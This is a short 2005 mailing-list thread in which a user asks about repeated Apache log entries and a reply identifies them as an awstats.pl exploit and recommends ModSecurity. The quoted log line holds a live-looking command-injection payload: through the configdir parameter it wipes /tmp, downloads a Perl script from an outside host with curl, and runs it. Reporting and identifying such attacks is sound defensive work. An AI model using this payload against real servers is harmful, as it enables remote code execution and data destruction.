Security Basics mailing list archives

Re: GET //awstats.pl? in apache logs


From: ilaiy <ilaiy.e () gmail com>
Date: Mon, 24 Oct 2005 09:24:24 -0500

It is a awstats.pl exploit .. Try installing
http://www.modsecurity.org/

./thanks
ilaiy
On 10/21/05, Konstantine <listclient () gmail com> wrote:
My apache logs show rows after rows of following, all from various IP
addresses. This started a couple of days ago. I don't have awstats.
Could somebody tell me what is that? Is there anything I should be
doing? thanks.K.
GET 
//awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/kidk1d/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo|
HTTP/1.1



Current thread: